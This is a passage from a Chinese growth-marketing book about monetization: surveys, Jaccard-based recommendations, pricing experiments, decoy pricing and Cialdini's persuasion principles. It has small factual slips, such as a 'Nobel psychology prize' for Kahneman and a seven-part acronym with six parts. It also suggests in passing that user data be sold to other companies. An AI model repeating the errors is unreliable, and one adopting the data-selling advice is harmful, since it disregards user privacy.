关键群组最希望看到的产品改进，比如，他们希望使用哪些可能的新功能、哪些新的计划档位或者希望如何改进特价商品的可选范围。毫无疑问，增加营收的核心在于向用户提供让他们觉得很有吸引力而且最能满足他们需求的产品和服务。当然，不同群组的需求也会不同。\n提高用户消费额的最佳途径是向他们提供可购买的额外商品或者付费使用的产品功能，这一点应该是不言自明。（或者，对于广告商业模式来说，可以提供额外的体验和内容，让客户花更多时间浏览广告，从而提高客户参与度。）前面我们讲过特性蔓延的危害，现在我们则要强调它的反面——增加新功能。企业需要稳步而且非常谨慎地推出用户可以购买的新产品或者新功能，以持续增加营收。亚马逊马不停蹄地增加所售商品的种类以及每种商品类型包含的产品选择，脸谱网频繁推出新功能，这些都是最好的例子。增加产品或功能成功的关键是专注于向用户提供让他们觉得有价值并且愿意花钱购买的商品，而不是一味地推出公司自认为用户需要的选择。\n增长团队应该通过问卷调查系统地向用户呈现他们对新产品或者新功能的构思，然后通过试验决定是否进行大规模推广。BitTorrent团队在问卷调查中向客户提的问题就很成功，这让他们成功地从诸多选项中选出最需要开发的功能。需要特别注意的一点是，他们的问卷调查并未采用开放式提问，而是给出了若干选项，让客户从中选出对自己价值最大的好处。你可以向一些参与问卷调查的用户提供带有新功能的免费产品，这样既可以激励用户参与问卷调查，也可以保证他们在问卷中的回答的确是他们的真实想法。\n通过让用户给每个选项打分，最后可能得到两个或者几个不错的备选功能，增长团队可以建议将这些功能加入产品开发路线图中，以备下次使用。BitTorrent团队开发省电功能在很大程度上就是因为这个选项在问卷调查中得分最高，结果这项功能将日收益提高了47%。自动关闭App功能分数也很高，团队也对它进行了测试并且收到很积极的用户反馈。最后公司向所有App用户推出这项功能，结果日收益增加了20%。\n表8–1 针对新功能对用户开展问卷调查表\n注：参与五次问卷调查的用户将获赠包含所有新增功能的安卓版uTORRENT。\n利用数据和算法为用户定制产品和功能\n在第七章我们讨论过，个性化策略可以帮助你建立更加牢固的客户关系，从而留住客户。个性化同时还是一个很好的变现策略，比如在用户正在浏览的网站或者App上显示为他们量身定制的产品推荐或者通过邮件和移动推送向用户发送个性化推荐都是特别有效的做法。亚马逊在这方面又是领跑者。它的团队开发出了最强大的推荐引擎，可以在用户浏览网站时为他们提供个性化的产品推荐。这个算法程序可以根据用户的搜索历史和购买习惯以及其他相似用户的习惯等数据来选择向用户推荐的商品。实际上，所有的亚马逊用户看到的都是根据他们的喜好为他们量身定制的亚马逊，这让他们获得一种独一无二的用户体验。\n一些推荐引擎极其复杂，比如说亚马逊、谷歌和网飞使用的推荐引擎就是这样。但也有许多推荐引擎是基于相对简单的数学知识。Looker这家商业智能软件公司的首席分析师科林·齐马指出，使用一个基于杰卡德系数（Jaccard index）或者杰卡德相似系数（Jaccard similarity coefficient）的简单公式就能就算出两个产品之间的相似度，从而帮助你向用户推荐他们可能购买的额外商品，因为公式的计算结果显示出人们通常同时购买这两样商品。\n杰卡德系数公式\n这个公式看起来复杂，但其实很简单。它说的是两个商品之间的相似度等于A和B交集的元素个数除以A和B并集的元素个数。我们以食品商店App为例快速看看这是怎样计算的。假设这个App团队想要验证他们的一个假设：在App上向用户推荐常常一起购买的商品将提高每次购物的平均订单金额。为了使推荐更有效，他们需要计算人们在购买某种商品（比如花生酱）时同时购买所推荐的商品（比如果冻）的可能性比购买其他商品组合的可能要大。团队需要推荐用户最有可能一起购买的商品组合来提高用户接受推荐并且将推荐商品加入购物车的可能性。\n杰卡德系数中交集的元素个数是同时购买花生酱和果冻的人数，并集的元素个数是单独买花生酱或者单独购买果冻的人数之和。例如，你发现有30人同时购买花生酱和果冻，而100人单独购买花生酱或者单独购买果冻，那么你所得到的杰卡德相似性分数就是0.3，这个数值代表的相似度已经很高了。相反，花生酱和洗衣粉的相似指数肯定要低得多。\n这个公式可以用来计算商店里任意两种商品的组合，从而帮你找到强大的推荐，提高用户购买量。而且，在这些最好的推荐引擎的帮助下，商品推荐只会越来越好而且越来越个性化，这是因为购物的人越多，每位用户的购买习惯以及大量用户的购买规律这两方面的数据就会越来越多。比如，如果用户将红牛饮料放入购物车，那么食品商店App的建议引擎可能会向用户推荐苏打水和青柠，因为数据显示大多数购买红牛的用户也购买伏特加调酒饮料，虽然用户可能以前并没有购买过这些商品。\n注意隐私边界\n个性化推荐有一点要注意，如果你对自己的行为不够敏感的话可能会弄巧成拙。比如，如果你过度窥探人们的生活，那么个性化定制就会变得十分可怕。举一个尽人皆知的负面例子。大型零售商塔吉特（Target）无意间公开了一个未成年女性怀孕的消息。其实这个女孩儿一直努力瞒着父母不让他们发现这件事。根据记者查尔斯·杜希格在《纽约时报杂志》中的报道，塔吉特向这个姑娘推送定向广告，为她提供婴儿服和婴儿床的购物券。女孩儿的父亲得知后怒气冲冲地跑到百货店质问经理：“我女儿还在读高中你们就给她婴儿服和婴儿车的购物券，你们是想鼓励她怀孕吗？”几天后百货店经理打电话给这位父亲表示道歉，但女孩儿父亲的态度与之前截然不同。他说：“我和女儿谈过了，实际上我家里发生了一些我之前并不知情的事情。她的预产期在8月份。应该是我向你道歉才对。”尽管得到了这位父亲的原谅，但是这个被广泛报道的故事在塔吉特顾客和消费者权益倡导者中间引发了激烈的反应，他们认为数据挖掘和个性化定制是不可原谅的侵犯隐私行为。\n如果你没有摸准用户的喜好，个性化定制可能很快令用户弃你而去。如果用户得到的建议对他们毫无吸引力，比如服装零售商向用户推荐不符合他们品位的服装款式，或网飞向用户推荐他们讨厌的电影类型，那么用户不但会对推荐不以为然，而且还有可能被惹怒。试想，如果你的好友（甚至更糟糕，你的伴侣）送给你的生日礼物完全不符合你的品位，你会做何感想？错误的个性化定制非但不能改善收益，相反还会极大地损害收益。\n这也是为什么试验如此重要。测试个性化定制策略的一个好办法是先向一小部分用户发送个性化邮件和短信推送，并且评估这些用户的反应和个性化定制的效果。完成这一步后增长团队就能获得用户体验有效性方面的早期数据，如果结果是积极的，那么团队就可以进一步在个性化方面做投资。大多数邮件营销软件提供各种各样的个性化选项，既可以简单地将收件人姓名插入邮件正文，也可以根据他们的历史行为向他们发送不同的信息和产品推荐。\n例如，我们的食品商店App团队就可以通过向那些只完成一次购买的用户发送免运费的购物券来刺激他们继续购买。如果测试成功，团队就可以试验将这类推送内置在App里向所有至少用App购买过一次商品的用户推广免费配送。\n优化定价\n给产品或服务定价一直都是增加营收最棘手的问题，定价太低会让你损失利润，太高又会吓跑用户，同样损失利润。公司在这方面犯错的方式不胜枚举，可能是公司在确定初始价格之前没有进行充分的分析，可能是定价试验的频率太低，可能是定价高出了市场愿意支付的水平，还有可能是公司在不该降价的时候急于降价。增长团队可以极大地帮助公司正确定价。他们可以与产品和财务团队合作，通过开展问卷调查和用户调研找出最佳定价区间并进行试验。\n销售实物商品的公司定价相对会容易一些，因为它们只需要考虑所售商品的生产或购买成本、营销和配送成本，最后再将利润算进去。但即使是实物产品，增长团队也能够基于他们所掌握的用户购买行为和生命周期价值这些信息开展试验。过去几十年研究人员发现了许多零售业中可以触发购买行为的原则，增长团队可以从里面寻找灵感。比如，威廉·庞德斯通在他的书《无价：洞悉大众心理玩转价格游戏》（Priceless: The Myth of Fair Value）中就提到“心动价格”（charm price）的威力，也就是相对于整数价格，那些故意以9、99、98或者95结尾的价格对消费者来说更具吸引力。尽管看似不可思议，但这样的定价策略确实有效。庞德斯通在书中写道：“1987—2004年发表的8份研究表明，心动价格相比数值接近的整数价格可以将销售额提高24个百分点。”\n其他使用心理战术的策略包括强调正价商品比降价商品贵的价值所在，在价签上印出美元符号，这些都可以影响用户行为。和其他增长手段一样，这些策略并不是对所有产品所有客户都适用。但是如此多的选择意味着增长团队有大量机会可以不断测试和优化定价，实现营收增长。\n给实物商品定价相对容易，但如何对没有原材料成本、在网上交付的软件商品进行定价呢？Price Intelligently（一个价格最优化软件）的CEO帕特里克·坎贝尔针对SaaS产品的定价介绍了大量最佳实践。他建议，首先在用户中开展问卷调查（正如我们在讨论许多其他增长手段时所建议的那样），询问受访者哪些功能对他们而言最重要以及他们愿意为此支付什么样的价格。问卷可以按照下面这个顺序向用户提四个问题：\n• （产品）在哪个价位会让你觉得太贵而决不会考虑购买？\n• （产品）在哪个价位会让你觉得略贵，但你还是会考虑购买？\n• （产品）在哪个价位会让你觉得购买很划算？\n• （产品）价格低到哪种水平会让你开始怀疑产品质量？\n用户反馈会告诉你他们觉得太高、太低以及适中的价格区间。根据问卷调查的结果团队可以绘制出下面这幅图（见图8–1）。\n图8–1中央看起来像菱形的区域就是进行定价试验的理想测试区间。当然，你不应该只考虑用户反馈，还必须考虑其他一系列复杂因素，例如生产和分销成本、营销和一般性支出以及针对竞争产品开展的市场调研等等。此外，测试的价格区间必须是由增长团队和财务团队共同来确定，并且还要得到执行领导层的同意。\n图8–1 用户在多大程度上愿意支付这个价格？\n资料来源：Price Intelligently\n有人认为直接向用户询问价格问题只能带来“低价”的回答，因为用户总是想怎样对他们最有利。但是，即使是那些认为不能直接根据用户反馈来决定价格的人当中，大多数都同意通过调查问卷和采访获得的用户反馈至少可以帮助你决定产品定价，而且你还能了解到目标用户中哪些人愿意出这个价钱。事实上，这也是开展定价试验如此重要的原因。许多公司感觉价格一旦定好就不能改动，而实际上正确的做法是，团队应该不断试验定价，正如他们对待其他增长环节一样。无论你是选择原封不动地使用上面提供的定价提问，或是对它们加以修改以满足你的具体需求，还是自己重新设计问题，这些都可以，关键是要利用用户反馈来帮助你持续开展试验。\n接下来，你需要将定价调研与之前的功能调研结合起来，创建一个由用户最看重的功能和愿意支付的价格点所组成的矩阵，这样你就能得到坎贝尔所说的画像—定价匹配。它可以帮助你信心满满地设计出满足购买者需求和期待的产品计划和定价。\n让我们再次以第七章中假想的视频流公司为例说明实际操作是怎样的。通过问卷调查和群组分析，这些公司可能发现使用服务的用户分为迥然不同的两类：一类用户只想观看节目和电影这个基本功能而不希望出现任何广告；另一类用户则希望获得更丰富的娱乐体验。正如前面所讲，增长团队首先应找出能够代表这两类用户的用户原型：基本款邦妮（Basic Bonnie）代表了不需要任何附加内容、只要简单的视频流服务的用户类型；通吃款安德鲁（All-Access Andrew）代表了想要这项服务的所有附加项目（而且也愿意付费）的用户类型。\n表8–2 视频流公司两类用户喜好差异\n理解用户喜好上的差异可以帮助增长团队寻找试验区域。例如，考虑到一些用户可以接受的月订阅价远远高出9.99美元，所以团队可以试验向其中的部分用户提供价位更高的订阅计划，让他们能够在多个设备上观看视频或者允许更多家庭成员同时使用服务。\n无论你试图变现何种产品，在为用户提供选择时需要确保定价与产品价值相匹配。包括软件产品在内的一些产品通常是按需付费，也就是按照使用量来付费。例如，HubSport的营销软件按照存储在它的数据库中的联系人人数来收费，因为这是衡量用户对服务的使用量以及他们从中获得价值的一个理想衡量指标。试想，如果HubSport按照每家公司注册的用户账号数量来收费，那么很可能出现的情况是，公司只注册一两个账号，然后公司员工共享这些账号。这就意味着HubSpot赚取的收益与产品使用量完全失衡。Unbounce（一款开发着陆页面的工具）根据用它的软件创建的着陆页的访客量来收费，而调查猴子则是按照使用它的问卷调查软件收集的问卷反馈数量来收费。这两种衡量指标都与用户从服务中获得的价值直接挂钩。像这样用来决定用户付费额的度量被称为价值度量（value metrics）。\n坎贝尔建议在确定你的价值度量之前先问自己三个问题。\n1.这个价值度量是否与用户看到的价值相匹配？\n2.这个度量是否会随着用户对产品使用量的增加而增加？\n3.这个度量是否易于理解？\n调查猴子的价值度量显然符合所有标准。它根据调查问卷的反馈数量来决定收费，这很容易理解，因为问卷调查得到的反馈越多，它的价值就越大。此外，用户创建并发出的问卷数量越多，调查问卷的价值也会越大。\n但是，定价正确了还不够，如何在价格页面以及其他地方向用户呈现并传达这些价格信息同等重要。如果你的商业模式包含许多不同的价位选择，那么确保用户能够轻松对比各个方案包含的功能，判断某些方案是否值得更贵的价格就显得尤其重要。团队应该在每种计划的功能列表中一目了然地列出该计划包含的所有基本功能以及额外好处。我们来通过一个假想的定价页面来看看如何进行操作。\n图8–2 典型的SaaS定价页面\n对于靠广告营收的产品，增长团队应该试着给广告单位（advertising units）定价。他们应该试着给不同的广告类型定价，比如标准横幅广告、包含动画或者互动元素的广告（如富媒体广告）和视频广告，同时他们还应该试验广告的位置，然后对比各种情况下的用户参与度。掌握了用户参与的数据后，团队可以试验各种广告版面的收费模式，比如根据广告点击量或者浏览次数来收费，或者通过广告联盟模式来收费，也就是当用户点进广告，跳转到广告主的网站上采取行动或者购买商品的话，广告主就要向广告版面提供商付推荐费。\n记住，价格定好后不应该把它抛到脑后，从此不再过问。和我们前面讲过的所有增长杠杆一样，定价也需要不断试验。我们建议SaaS产品的增长团队至少每个财政季度测试一次定价改变，而电商企业则应该更频繁更持续地测试定价，就像亚马逊那样。这个策略叫作动态定价，它利用许多方面的数据，如存量、季节性规律、一天中的时间、顾客购买历史、使用的电脑类型等来不断调整并测试价格变化，最后找出能够带来最大购买量、实现利润最大化的价格。但要注意，和个性化定制一样，如果方法不当，动态定价也有可能适得其反。旅游网站Orbitz就是一个反例。有新闻曝出内幕，那些使用苹果电脑在Orbitz上购买旅游产品的用户看到的酒店和旅游计划价格普遍比那些使用台式电脑的用户看到的价格高很多。确实，Orbitz通过调研发现，苹果用户愿意也有能力为酒店房费多出30%甚至更高的价钱，于是他们利用这个数据从苹果用户身上赚更多钱。显然，苹果用户看到这个报道心里肯定不高兴。\n基于广告模式的增长团队同样应该不断优化定价。像谷歌和脸谱网这些最大的广告平台采用拍卖模式来为它们库存中的广告版面定价。也就是说，广告主想在平台上投放广告时就会给出一个它们愿意付的价格，然后广告平台将广告位卖给出价最高的广告主（这样说过于简化了这个过程，拍卖过程其实十分复杂）。如果头名中标者因为达到了当日预算上限或者因为其他限制而用完了当日预算额，那么出价第二高的广告主将顺位获得广告版面，以此类推，直到平台售出所有库存广告位。这些公司也会综合考虑广告质量和用户反应这些因素来决定哪些广告主优先得到哪些广告位，哪些广告应该放在更加醒目的位置，以此来激励广告主制作优质广告。显然，这样做对广告主和广告平台都有利。没有这类竞标机制的小型广告发布平台则应该根据供求关系不断测试库存定价，以实现收益增长的最大化。\n定价相对论\n增长团队与管理层一起设计定价实验时应该考虑长期以来经过实践和研究确立的定价原则。其中一个原则叫作定价相对论（pricing relativity），也就是人们对于价格高低的判断会受到其他价格选项的影响。丹·艾瑞里在他的名作《怪诞行为学》（Predictably Irrational）中描述了一项实验，实验表明，消费者愿意付多少钱在很大程度上受到价格选项组合的影响。艾瑞里发现，《经济学人》（Economist）订阅计划的定价方式十分让人费解。它的网络版杂志全年订阅价是59美元，纸质版杂志全年是125美元，而纸质版加网络版的合订价也是125美元。这一观察给艾瑞里带来了实验灵感。\n价格相同但是订阅方案的内容却不同，这让艾瑞里十分困惑。他将下面这个订阅页面拍下来给100名麻省理工学院的学生看，让他们选择一种订阅方案。这些学生要么选择只包含网页版的方案，要么选择纸质版加网页版方案，其中选择后者的比例为84%。然后他去掉中间选项，也就是只包含纸质版的那个选项（前一个实验中没有人选择这个方案），重新找来100个学生在剩下的两种方案中进行选择，结果令他大吃一惊：68%的学生（之前只有16%）选择第一种价格更低、只包含网页版的方案。为什么？因为之前的中间选项让潜在用户能够轻松对比每种方案的价值，这让许多人觉得第三种方案其实是免费赠送网络版杂志——这太划算了！于是他们选择了价格更高的订阅方案。中间这个选项有时被称为烟幕弹套餐（decoy package），它是驱使用户购买价位更高产品的利器。\n就职于SmartShoot的数字营销专家史蒂夫·扬就很擅长使用这种烟幕弹产品。SmartShoot是一个将专业摄影师和摄像师与服务需求者联系起来的平台型企业。最初，他们只提供包年和包月这两种订购计划，40%的访客选择包年计划，剩下的60%选择包月计划。扬和他的团队提出了一个假设：如果增加一个新计划，使它在功能上略逊于包年计划，同时价格也略便宜，他们就能够利用价格相对论现象驱使更多人购买包年计划。于是他们增加了一个比包年计划便宜10美元，但功能减少了很多的烟幕弹产品。结果，转化率飙升了233%，86%的访客选择299美元的包年计划。\n这个例子给我们的启示是：团队应该试验增加一个产品选项，利用定价来帮助用户更好地了解你向他们出售的产品和计划的相对价值。\n少并不总是多\n你希望提高用户购买量时可能会有强烈的降价冲动。低价确实常常能够带来更高的销量，但其实并非总是如此。有时，降价甚至会损害销售，或者至少不像你期望的那样增加需求量。因此，在面向所有用户调低价格之前首先进行降价试验十分必要。\n在Qualaroo，我们通过试验发现应该提高价格，结果我们的营收随之大幅增加。我们一开始的假设是，如果改善我们的免费增值版在线问卷调查的性能，那么使用者中就会有越来越多的人为了能够使用扩展功能、获得更强大的调查能力而升级到付费版本。但是，这个假设最后失败了，改进功能后的免费版本根本没有提高付费产品的销量。于是，我们提出了另一个假设：可能我们的目标用户对功能和价格组合并不敏感。于是我们转了个弯，试验提高产品价格。结果这次成功了。通过提价我们增加了产品对大客户的吸引力，因为他们想要的是同类最优产品，而不是价格最低的产品。心理学家、畅销书作者罗伯特·西奥迪尼解释说，这是因为人们将价格看作是质量的信号，这在技术和专业服务市场特别常见。事实证明他是对的，因为在接下来的一年半里我们进行了三次提价，结果不仅利润激增，而且我们还打开了对调查需求很大的大型公司这个全新市场。\n你销售的可能既不是网络服务也不是技术产品，但关键问题却是一样的：用户并不像你想象中那样对价格很敏感。增长黑客提供了一个简单易行的方法来帮助你判断用户对价格的敏感度。这不仅可以用于为你出售的产品和服务定价，也可以用于为激励用户采取行动而提供的折扣。英曼的增长团队为了鼓励用户完成支付过程，针对那些在结算中途放弃购买的用户试验25%的限时折扣，果然，相比没有提供任何优惠的情况，折扣极大地促进了销售，将成功下单的用户比例提高了39%。接下来团队又进行了另一个试验，将折扣从25%降为10%。结果，尽管折扣力度减小了，但是下单用户的增长率基本上没有发生变化。因此，团队通过提供一个更小的折扣就将注册过程的创收提高了18.9%。\n小心翼翼地推进\n测试定价十分关键，但同时也充满危险，因为用户普遍不喜欢看到太大的价格变动。所以，增长团队必须确保用户体验前后一致。比如，一旦用户看到页面上的价格变化，那么他们之后再访问网站时就总会看到。可以想象一下，如果你发现自己花100美元买的东西第二天只卖75美元，你会有什么感受？像这样换位思考就很容易明白为什么不断改变价格和功能只会赶跑潜在用户。\n通过销售团队进行销售的商品还面临一个特殊的挑战，即与急于成单的销售代表协调定价测试的问题（而且产品价格越高，销售代表的提成就越高）。销售团队必须时刻清楚访客正在浏览哪个版本的价格页面（试想，如果销售人员报了一个价格，而潜在用户看到的却是完全不同的定价试验页面，或者在上面看到完全不同的价格，那会有多尴尬、多糟糕）。这就意味着要将增长团队的价格试验与销售团队的内部用户管理数据库关联起来，这可以交给软件团队来完成，或者通过关联Optimizely和Salesforce这样的第三方工具来完成。这些工具通过使用Zapier（将各种独立应用自动串联起来的开发平台）或者Segment（大数据分析平台）这样的技术能够在不同的技术系统之间进行数据传送。\n最后还有一个难题。增长团队通常没有权限自行决定测试定价改动，这往往需要产品、财务以及销售团队（如果公司采用的是基于销售的商业模式）共同来决定。因此，进行定价和折扣测试时考虑周详并且协调好各方面就显得十分重要，因为这样可以保证公司各个环节的所有利益攸关方都知晓正在进行的定价试验以及这对用户体验和其他关键业务指标（如利润、经常性收入以及每位用户的平均订单额）带来的影响。\n一分钱的差距\n定价考虑的反面同样棘手。可能用户已经习惯免费使用产品，因此他们不愿意付一分钱，在线软件或App就常常面临这种情况。风险投资家乔希·科佩尔曼将这种定价难题称为一分钱差距（penny gap），也就是在用户眼中免费使用产品和哪怕付很少的价钱之间存在着天壤之别。\n事实上，有时很低的价格都会引起巨大的摩擦，对于网络产品或者数字产品更是如此，甚至有时提供免费产品比花钱获取付费用户的成本更低。此时，利用广告或者付费使用的附加功能来变现免费用户可以极大改善营收。斯图尔特·K. 霍尔的7分钟体能训练App就是一个例子。一开始，他将这款应用定位为预先付费产品并且发布了带有优惠码的新闻宣传。几周后，下载量微乎其微。于是他决定试试让用户免费使用App。结果不到三天，App的日均下载量就达到72 000次，是之前付费使用时的2 500倍，而且它在49个国家中一跃成为排名第一的iPhone健身应用。不光App的下载量激增，它的营收也大幅增加，这是因为霍尔在推出免费App的同时增加了App内的购买项目，即一个可以提供健身记录和个性化定制服务的软件升级服务。尽管97%的App用户都是免费用户，但是通过这几个简单的升级功能就将App的整体营收增加了300%。\n事实上，如果你的产品是移动App，你往往别无选择，只能让它成为免费产品。为什么？看看收入最高的那些iOS游戏的情况就知道了。我们在写这本书的时候，苹果应用商店内收入排名前50的游戏中没有一个是预先付费产品。这些游戏都可以免费下载，之后它们要么是通过广告赚钱，要么通过应用内升级解锁更多功能来创收。\n如果你的主要变现渠道是附加功能和产品升级，那么优化你的战略，劝说更多免费使用者升级就显得非常关键。幸运的是，现在有一些现成的策略可供增长团队试验，其中一种做法是在免费用户使用产品时向他们展示只有付费用户才能使用的功能。广受欢迎的音乐串流App Spotify就成功地使用了这个策略。它在免费用户的使用体验中展示一些只有付费用户才能打开的高级功能。当这些免费用户试图使用这些功能时就会跳出一个行为召唤，鼓励他们先从免费版升级到付费版，然后就能使用这些高级功能。\n除此之外，增长团队还可以试验针对升级版收取订阅费，或者引入虚拟商品或应用内货币，像糖果传奇（Candy Crush）和口袋妖怪Go（Pokémon Go）这样的大受欢迎的网络游戏就成功利用这个策略提高了变现能力。艺电有限公司（Electronic Arts）这家知名的游戏公司推出了各种各样使用数字货币的游戏，玩家可以更快地升级或者在游戏中增加新角色。这些游戏内的虚拟商品大受欢迎，仅2015年第四财季就给艺电带来了超过1.73亿美元的收入。这个策略不只适用于游戏，像约会App、照片App和其他所有产品都可以将虚拟货币作为一个变现策略。例如，流行的约会应用Coffee Meets Bagel（咖啡遇上面包圈）就出售“咖啡豆”，用户可以使用这种虚拟货币来做许多事，比如拿它来兑换与之前错失的对象的第二次见面机会，或者查看朋友为自己推荐的潜在约会对象的身份。\n增长团队也应该试验不同策略间的组合来为免费增值产品创收。许多成功的App使用广告、推荐费以及赞助费三者间的组合来创造收入。团队也可以考虑通过出售用户数据和活动信息来实现变现。例如，App可以通过订阅模式或者收入共享的方式向想要获取用户活动信息的公司收取费用，比如与在线零售商合作在App内销售产品。\n无论哪种情况，增长团队都应该让数据说话，用数据衡量哪些做法有效，哪些功能能让用户掏钱，然后进行试验，满足这些需求并逐渐实现营收的最大化。\n重温消费者心理学\n问卷调查在找出人们愿意出多高价钱方面确实强大，但我们都知道，消费者的行为并非总是理性的或者可预测的。他们嘴上说想要A，最后却买了B。所以，尽管用户反馈可以极大地帮助增长团队想出可以试验的增长手段，但明白消费者行为心理学对变现用户、增加营收有很大的价值。\n大量有趣的研究带来了很多能够揭示人们购买行为心理的洞察。增长团队可以从这些心理学研究结果中寻找增加营收的实验灵感。诺贝尔心理学奖获得者丹尼尔·卡尼曼专门研究行为心理学并且写了大量相关著作，在《思考，快与慢》（Thinking, Fastand Slow）这本书中，他分享了许多有关消费者行为的心理学发现。同样，经济学家丹·艾瑞里在他的著作《怪诞行为学》中提到的消费者购买决策方面的实验令人大开眼界，比如我们之前讲到的《经济学人》订阅计划就出自这本书。还有一本讲消费者如何做出选择的书也很棒，书名叫作《选择的艺术》（The Art ofChoosing），作者是选择心理学领域的世界级专家席娜·伊加尔。这里篇幅有限，我们无法深入探讨这些研究者（以及许多在这个领域有影响力的其他专家）关于消费者行为方面的所有发现，但我们建议读者阅读这些书籍以便更好地了解消费者心理，并从中获得可试验的新的增收手段。\n不过此处我们需要重温一下在第五章讨论激活时曾经介绍过的罗伯特·西奥迪尼提出的影响用户行为的六原则。让我们来看一看如何使用这六个原则来寻找实现变现的增长手段。\n互惠原则\n本质上，互惠原则是说投桃报李是人的本能。公司和营销者在设计增长实验时可以首先围绕给予展开，而不急于向用户索要购买的承诺，这样就可以发挥互惠原则的力量。\n好市多是使用互惠原则的大师，它让店内样品和产品演示成为在连锁店购物体验的一大亮点。公司发言人吉奥万尼·迪米欧指出，一些产品演示将购买率提高了2000%！其中的部分原因是消费者感到他们免费得到了一些东西。无论是一片烟熏牛肉还是如何使用高级蔬菜削皮器的示范，都让用户会觉得如果不买的话会心存愧疚。我们前面提到过的HubSpot的网站评估工具Marketing Grader也使用了互惠原则。它首先免费为用户进行全面深入的网站分析，因为它的增长试验显示，这样做能让用户更愿意与HubSpot的销售人员讲话、订阅它的邮件或者向别人推荐这个品牌。正如配送服务免费升级和订单折扣能够为电商触发这种互惠原则一样，赠送网络研讨会、视频、白皮书以及其他内容对于网络产品也可以发挥一样的作用。事实上，许多SaaS公司的免费增值模式也利用了互惠原则，因为它们先提供一些免费功能，然后期待在用户获得成功的使用体验并对产品产生需求后进行功能升级。\n承诺和一致原则\n西奥迪尼发现，一旦我们采取某个行动，我们就有可能继续采取与之前行动相一致的新行动。这就是为什么汽车销售人员得到的指示是要让潜在客户在一份没有法律效应的购买条款清单上签上自己名字的首字母，因为在纸上签名这个行动让客户之后更有可能签署正式的汽车购买文件。眼镜零售网站Warby Parker使用了相同的做法，它的在家试戴计划可以让潜在消费者选择并收到5副眼镜，客户可以等到试戴之后再决定购买哪一副。一旦客户试戴了眼镜就不可能不买了。\n在利用承诺和一致原则时你可以先让用户先许下一个小的承诺，然后引导他们之后完成更大金额的购买行为，从而增加收入。亚马逊的心愿单功能就利用了这个原则。他们知道，如果用户将书籍或者其他商品加入心愿单，那么他们购买这个商品的可能性就很大，因为用户已经承认自己有想要购买的愿望。又比如，如果你向最近在你的网站上购买过商品的用户及时发送信息并向他们提供新的优惠，用户就可能再一次下单，从而提高整体购买量，因为他们希望与先前的购买决定保持一致。即使你只是简单地询问用户以后是否还会在你的网站上购买商品，也有可能带来额外的线下购买行为。\n社会认同原则\n遵循社会规范或者效仿他人的做法是购买行为最强大的驱动力。西奥迪尼重点以英国税务总署（HMRC，相当于美国的国家税务局）为例说明了这个原则。2009年，英国税务总署面临民众拖欠巨额税款这一严峻的问题。它尝试向欠税的公民寄去追收税款的通知书，但这样做根本无济于事。于是英国税务总署与专家史蒂夫·马丁合作，尝试使用一种基于社会认同原则的新方法。结果证明，这个方法十分简单有效。英国税务总署从拖欠税款的纳税人中选出一部分作为试验组，然后在寄给他们的追收税款通知书中加入一句话：大多数英国居民都按时足额缴税。结果这个简单的事实陈述将试验组的缴税率从57%提高到86%，追回的税款金额达到5.6亿英镑（拖欠的总额为6.5亿英镑）。只是简单地提醒人们纳税的社会规范就带来了令人惊讶的改善。\n太多公司错误地解读了社会规范，它们使用可信度不高或者泛泛而谈的证言来试图说服客户购买价格更高的商品。比如一家餐馆可能在它的菜单背面加入诸如“市区最好的肉排，爱吃！”这样的证言。这只会适得其反，用餐的客人不会点那个更贵的菜，因为他们怀疑证言是假的。转化专家安吉·舒特米勒找到了有效评论和有效证言的7个核心要素，她用“CRAVENS”这个首字母缩写来概括了这些要素：可信（credible）、相关（relevant）、有吸引力（attractive）、可视（visual）、可量化（enumerated）以及具体（specific）。\n鲜花配送店daFlores就通过在它的电商网站中加入了一条满足以上这些简单标准的证言提高了收益。最初它在网站上展示文字证言，但后来发现用户并不了解它的品牌，于是它将证言换成了一张庆祝公司在脸谱网上的粉丝突破60万的图片。结果，用这种可信、相关、有吸引力、可量化而且可视的方式向用户展示公司拥有数量庞大的粉丝群这一事实一举将收入提高了44%。因为看到有这么多人喜欢在这家网站上购买鲜花能够让用户感到放心。提高社会认可在转化旅程中的可见度可以为增长团队带来变现的机会。增加证词、知名客户的企业标志、客户使用产品的结果、当前在你的网站上购物或者订购的人数等，这些都可以向用户提供已经采取相同行动的其他客户的信息，从而让潜在客户相信他们的决定是对的。比如，线上女装零售商ModCloth通过其“成为买家”计划让用户自己决定网站出售哪种风格和尺码的衣服，并用一枚勋章来告诉用户哪些是“买家认可”的商品。那些带有“成为买家”勋章的衣服在网站上的销售率是其他商品的两倍。\n权威原则\n研究表明，相比普通人我们更愿意相信专家和权威人士的话，哪怕只是在语言上稍微暗示这种权威性就能够增加购买行为。卡亚皮肤诊所（Kaya Skin Clinic）就是一个例证。它将“专家”这个词加入网站的行为召唤中，使之变成“我想听专家的意见，注册吧！”，这么简单的一句话就将销量提高了22%。\n权威原则解释了为什么1/4的电视广告都使用明星代言，而且为什么名人创办的公司往往十分成功，比如演员杰西卡·阿尔芭（Jessica Alba）创办的美国诚实公司（Honest Company）。也许因为行业特点和预算限制，名人代言不在你的考虑范围之内，但是各行各业都有在你的目标用户心中具有威信和影响力的人物或者品位引领者。增长团队可以利用权威原则，尝试利用这些有影响力的人物来增加收益。\n喜好原则\n如果深受我们喜欢的人推荐了一款产品或者服务的话，我们会买得更多。Airbnb重新设计它的朋友推荐计划，将推荐人的照片放入邀请函中，就是利用了喜好原则。结果，Airbnb的朋友推荐创造的日注册量和房间预订量增加了300%，这在一定程度上要归功于它在新的推荐计划中增加了这种“人情味”。\n如果你正打算利用喜好原则进行试验，那么你可以考虑在网站上使用真人的照片，比如你的销售人员或者用户的照片。除此之外，你在着陆页上显示的友好的欢迎词也可以带来同样的用户反应。还记不记得Nasty Gal的创始人索菲亚·阿莫鲁索通过让网站上人气最高的模特穿上销量最差的衣服，以此来提高销量？这也是利用喜好原则。好在你要做的改变很多都不是大规模的技术性改变，增长团队只需要进行快节奏试验就能提高销售额或者销售量，或者驱使人们购买更贵的商品。\n稀缺原则\n当我们觉得自己要错失良机的时候，我们采取行动的可能性更大。Booking.com就充分利用了稀缺原则来增加收入。这家在线住宿预订网站通过向用户展示他们已经错失的房间来让用户明白预订机会不会永远等着他们。同时他们还向用户显示有多少人已经在今天完成了预订，酒店还剩下多少房间，甚至还有多少人在那一刻正在其网站上看房间——这个触发物等于告诉用户，“你最好现在就预订，否则过一会儿就后悔莫及了”。\n使用稀缺性作为刺激购买的策略是要触发用户害怕错过的心理。你可以试验限定促销时间，当商品只有几件库存时显示剩余数量，限制预约咨询顾问的机会，或者限定可以获得特价商品的人数等做法。如果商品马上就要售罄，或者很难买到，或者特价马上就要结束，或者顾客因为这样或那样的原因可能错失机会，那么商品被销售